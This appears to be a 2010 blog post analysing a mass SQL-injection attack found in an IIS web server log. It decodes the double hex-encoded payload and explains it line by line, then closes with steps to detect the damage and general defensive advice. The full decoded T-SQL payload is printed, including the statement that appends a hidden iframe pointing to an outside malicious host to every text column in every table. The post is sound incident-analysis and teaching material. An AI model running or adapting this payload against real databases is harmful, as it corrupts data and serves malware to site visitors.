Good midday, 22.214.171.124.
Today is sunday the 30th of April 2017. The time is 10:52:27 and it's week number 17.
(2010-08-09) De-mystifying an SQL-injectionI’ve written a lot about security and politics lately, but I’m a technician at heart, so I think it’s time to dig into security from a technical stand point. So today, let’s take one of the many SQL-injection attacks out there on the Internet and pick it apart. The code has been urlcoded, so it cannot harm your web browser. Had that not been the case, it would have been too late anyway.
A few words of warning
The attack is a very real and fully functional attack that you must not put into an SQL-editor connected to a database server and “run it just to test”. It may actually work and then, congratulations, you’re in deep trouble. Infecting your own database server running as a virtual machine on a private network is probably just fine, as long as you treat it with a flame thrower afterwards. Remember, it’s like having your own vial with a frozen Ebola-virus. It will be fun until it spreads. Ok, let’s be fair, this attack is not a virus or even a worm. It is the effect of a worm or more likely a program scanning all subnets it can find. The difference between the two is that the worm spreads and attacks from servers it has conquered. But I digress…
The semi fictitious scenario
You get an alert from someone claiming to see something weird in the log of a Microsoft IIS server and they believe you’re the expert on the matter. So you logon to the server, but have no idea where to look. The person who alerted you have no idea which log it was and only a vague idea as to when.
This might seem hopeless, but a bit of deductive logic goes a long way. When you open the IIS manager console, you note that all websites store their logs under d:\wwwlogs. So you use the built in search function to search through all *.log-files created during the last week for … Yeah, for what? Good question. This could be tricky, but there has to be something that sticks out in an attack. Searching for ‘ and SELECT does nothing. This is weird you think. But recently you read something about hackers using CAST and VARCHAR. You type that into the search box and restart the search.
Good news: Bingo, you got a hit from the logs.
Bad news: It looks like this:
2010-08-10 15:17:49 192.168.13.13 GET /muchosell/login.asp subPage=form.asp&nr=2&subLink=2;DecLArE%20@s%20VarCHAR(4000);SET%20@S=CASt(0X6465434C417245204054205661526368417228323535292C40632056417243
655F437572734F5220%20aS%20VARcHar(4000));eXEc(@s);-- 80 - 666.666.666.666 Mozilla/4.0+(compatible;+MSIE+7.0;+Windows+NT+5.1;+.NET+CLR+2.0.50727) 200
Fantastic. What they Sam Hill are we looking for here? A part of the log entry makes sense, though.
2010-08-10 15:17:49 192.168.13.13 GET /company/login.asp subPage=form.asp&nr=2&
Someone tried to access the login-script on one of the web sites. You use the directory name the log was created under to figure out which site it is. It’s called W3C1. The IIS manager tells you that this site hosts the web application called MuchoSell under www.ericade.net. So it must be http://www.ericade.net/muchosell/login.asp.
The tail end of the log entry also makes sense:
80 - 666.666.666.666 Mozilla/4.0+(compatible;+MSIE+7.0;+Windows+NT+5.1;+.NET+CLR+2.0.50727) 200
The attack was against port 80 (standard for web sites), it came from 666.666.666.666 and it claimed to use Internet Explorer 7. It also got a http code 200 back. That means the transaction executed successfully. Is that good or bad in this case?
You probably know that 666.666.666.666 is an impossible ip-address. It’s like those 1-555- telephone numbers you see in Hollywood movies.
But the rest of the code, what is it good for? It really looks kind of useless. Does it even mean something? Yes, it does. A bit of history: the intrusion detection systems that many organizations use can detect SQL-statements sent as parameters in urls. This is bad news for the cracker, and hence the need for obfuscation. The SQL-server actually decodes the weird characters and then interprets them. So if that’s possible, shouldn’t we be able to do the same? The answer is off course yes.
The text is not encrypted; it’s just encoded as hex decimal characters. We need a tool to decode it. Your weapon of choice is “ASCII Hex URL Decoder”, available from http://urldecoder.codeplex.com/. But when you try pasting the text into the program you get an error message stating that “the code must be wrapped in a CAST” statement. CAST is not what you ended up with on your leg after that horrible ski-trip. It’s actually a transact-sql statement telling SQL that it should change one format into another. In this case hex code into varchar. Varchar is a text string, so the CAST-statement must decode it to make it a varchar. After changing the mixed case text to read CAST(0x6 … VARCHAR(4000)) the decoding works and you end up with:
deCLArE @T VaRchAr(255),@c VArChaR(255) DEClaRE TABle_cuRsOR cursoR fOR SelEct a.NAME,b.nAME FROM sysObjeCts a,sYsCOLuMns b wHere a.Id=B.Id and a.xtype='U' and (B.xtyPe=99 oR b.xType=35 oR B.xtype=231 or B.xTypE=167) Open TabLE_cURsOR fETCH nExT FroM TablE_cuRsor IntO @t,@c WhILe(@@fETCh_statUs=0) BeGin ExEc('upDate ['+@t+'] SeT ['+@c+']=rtrim(cONVert(vaRcHaR(4000),['+@c+']))+cAst(0X3C696672616D65207372633D22687474703A2F2F6E656D6F6875696C6
53E As VaRChAR(106))') FetCH NEXt FrOm TabLE_cUrsOr iNtO @T,@c End ClosE TablE_CURsor DEaLLOcaTE TaBLe_CursOR
But wait, what’s in the middle of that text? Another set of hex-coded stuff? Yup, hackers love double encoding their attack code to subvert security scanners.
Running the remaing hex code through the decoder yields:
<iframe src="http://nemohuildiin.ru/tds/go.php?sid=1" width="0" height="0" style="display:none"></iframe>
And put all together, you get this:
2010-08-10 15:17:49 192.168.13.13 GET /muchosell/login.asp subPage=form.asp&nr=2&subLink=2;DecLArE%20@s%20VarCHAR(4000);SET%20@S=deCLArE @T VaRchAr(255),@c VArChaR(255) DEClaRE TABle_cuRsOR cursoR fOR SelEct a.NAME,b.nAME FROM sysObjeCts a,sYsCOLuMns b wHere a.Id=B.Id and a.xtype='U' and (B.xtyPe=99 oR b.xType=35 oR B.xtype=231 or B.xTypE=167) Open TabLE_cURsOR fETCH nExT FroM TablE_cuRsor IntO @t,@c WhILe(@@fETCh_statUs=0) BeGin ExEc('upDate ['+@t+'] SeT ['+@c+']=rtrim(cONVert(vaRcHaR(4000),['+@c+']))+<iframe src="http://nemohuildiin.ru/tds/go.php?sid=1" width="0" height="0" style="display:none"></iframe>') FetCH NEXt FrOm TabLE_cUrsOr iNtO @T,@c End ClosE TablE_CURsor DEaLLOcaTE TaBLe_CursOR;eXEc(@s);-- 80 - 666.666.666.666 Mozilla/4.0+(compatible;+MSIE+7.0;+Windows+NT+5.1;+.NET+CLR+2.0.50727) 200
You fix the mixed case characters and the final code is:
GET /muchosell/login.asp subPage=form.asp&nr=2&subLink=2;DECLARE @s VARCHAR(4000);SET @S=DECLARE @T VARCHAR(255),@c VARCHAR(255) DECLARE TABLE_CURSOR CURSOR fOR SELECT a.NAME,b.nAME FROM sysObjeCts a,sYsCOLuMns b WHERE a.Id=B.Id and a.xtype='U' and (B.xtyPe=99 oR b.xType=35 oR B.xtype=231 or B.xTypE=167) OPEN TABLE_CURSOR FETCH NEXT FROM TABLE_CURSOR INTO @t,@c WHILE(@@FETCH_STATUS=0) BEGIN EXEC('UPDATE ['+@t+'] SET ['+@c+']=rtrim(CONVERT(VARCHAR(4000),['+@c+']))+<iframe src="http://nemohuildiin.ru/tds/go.php?sid=1" width="0" height="0" style="display:none"></iframe>') FETCH NEXT FROM TABLE_CURSOR INTO @T,@c END CLOSE TABLE_CURSOR DEALLOCATE TABLE_CURSOR;EXEC(@s);--
Sweet! But what does it do, and did it work?
Now this is where it gets tricky. I’ll try to pick it apart for you.
GET /muchosell/login.asp subPage=form.asp&nr=2&subLink=2;
This is the start of the GET statement that normally comes from a web browser, but in this case it’s from the attack program instead. It request that web server runs login.asp with three parameters: subpage, nr and subLink. The attack starts with subLink. The attack program has somehow figured out that subLink expects a number. It could have done that by looking at the links on the site that use those parameters. So it does not use the standard apostrophe to break out of the SQL-statement, since it’s likely not used in the code. Remember that SELECT * FROM table WHERE id=2 is valid for numerical values, whereas SELECT * FROM table WHERE name=’Erik’ requires apostrophes. This is also why escaping apostrophes does not fix all security holes, since the apostrophes are not used with numbers. Damn!
Then it continues by adding 2;DecLArE%20@s%20VarCHAR(4000);SET%20@S=CASt (…) to the parameter. It obviously expects this to go through unhindered to the database layer. And %20 is just urlcode for white space. Let’s rip it apart.
The innocent 2 and a semi-colon which means “end of statement.”
DecLArE @s VarCHAR(4000);
This part creates a variable called s and casts it as VARCHAR with up to 4000 characters of readable bytes.
This part sets “s” as the result of running cast on the long stream of hex coded gibberish. The result fed into s is clear text, since it has been decoded. When done, s is set to:
deCLArE @T VaRchAr ( … blah blah blah …) TaBLe_CursOR
Quite interesting stuff in that s-variable, no? Yeah, my interests are a bit weird, I know…
And the grand finally, run whatever you put into the s-variable on the SQL-server.
Ok, that begs the question, what does the code stored in “s” do? We have to pick that apart too. Got a headache yet? Good! Here’s what was decoded and put into s:
deCLArE @T VaRchAr(255),
The variable T is a string of characters with up to 255 characters.
The variable c is another string of characters with up to 255 characters.
DEClaRE TABle_cuRsOR cursoR fOR SelEct a.NAME,b.nAME FROM sysObjeCts a,sYsCOLuMns b wHere a.Id=B.Id and a.xtype='U' and (B.xtyPe=99 oR b.xType=35 oR B.xtype=231 or B.xTypE=167)
This statement is geared towards a Microsoft SQL server and it tries to get a list of all tables and their fields for tables that are user-created. It does not specify a database, so the statement uses whatever database the database user has set as their default. The result is presented as a cursor called TABLE_CURSOR. A cursor is mechanism to manipulate a data set. TABLE_CURSOR makes the names of the aforementioned tables and fields available. This is the list of targets in the database that the script will inject the code into.
Once created, the cursor is opened.
fETCH nExT FroM TablE_cuRsor IntO @t,@c WhILe(@@fETCh_statUs=0)
It then feeds the data into the variables t and c and iterates through the statements below until it runs out of data. T is the table and c is the column (field). The statement iterates through all fields in all tables.
Begin starts a block of statements belonging together.
ExEc('upDate ['+@t+'] SeT ['+@c+']=rtrim(cONVert(vaRcHaR(4000),['+@c+']))+cAst(0X3C696672616D65207372633D22687474703A2F2F6E656D6F6875696C6
53E As VaRChAR(106))')
Exec runs an update on all rows changing the data under the column specified in @c in the table specified in @t. The "rtrim(cONVert(vaRcHaR(4000),['+@c+']))" part makes sure that the already present data is retained and the data it then tries to add is decoded as “<iframe src="http://nemohuildiin.ru/tds/go.php?sid=1" width="0" height="0" style="display:none"></iframe>”.
FetCH NEXt FrOm TabLE_cUrsOr iNtO @T,@c
Gets the next victim from the list and feeds into the variables T and c.
Ends the statements. Now it iterates through everything between BEGIN and END again, if there’s anything left to get with TABLE_CURSOR.
When the run through of TABLE_CURSOR is done, it’s closed.
Closing the cursor.
Nice of it to actually clean up after trashing the place.
So in short, it feeds the iframe-code into every column for every row it can get its hand on, oh the humanity!
That’s all good and fine, but did the attack succeed? Nothing so far gives us any information. Sorry, there are no good clues in this log. Or are there? The code references “sysObjects” and “sysColumns”, which only exist in Microsoft SQL server. It also uses semi-colons, which makes sure it will never work on a MySQL-based server. If you know that the SQL-backend is running anything else that Microsoft SQL, this particular code will most likely not work at all.
That is a good start. But you must be sure, so you connect directly the SQL-server and go through the tables in the database that the web application uses. If the attack was successful, most fields would be filled with the <iframe>-code.
But you’re not satisfied, so you download firebug to your Firefox browser and make sure both are patched to the latest version. You also run them on a virtual machine that is setup with a non-persistent disk to prevent the infection from surviving a reboot. Then you surf to the site and use Firebug to go through the code, searching for the pesky <iframe>.
If all those three things show no evidence of a successful attack, you’re probably in the clear. I said “probably”. Good. Next up for you is a cup of coffee and a chat with the developers.
The attack works the same way some burglars try to open every door on every house in a neighborhood. If the door does not open, they try the next one. There are often people forgetting to lock their doors when they get home. And there are many web servers not properly secured.
What must be done to secure a web application depends on how the application is built, but there are a few general rules:
Input must be cleaned and preferably checked. A parameter expecting a number must not accept anything else. All input data must have a maximum and a minimum size. Everything that does not fit the constraints must be stripped or discarded.
The web application must not have more permissions or privileges than it needs. E.g. does it really need exec-privileges?
The code must not echo error messages from the database layer. Create a connection object and verify if it returns an error. In that case, print a generic error like “The application has experienced a problem and your request could not be completed. Please call your system administrator.”
At the end of the day you hopefully get to write a report stating that you sound the “all clear” but recommend a code review and a security analysis. On a very sensitive system, you might want to suggest that the manager contact a company specializing in penetration testing.
Posted: 2010-08-09 by Erik Zalitis
Changed: 2010-08-12 by Erik Zalitis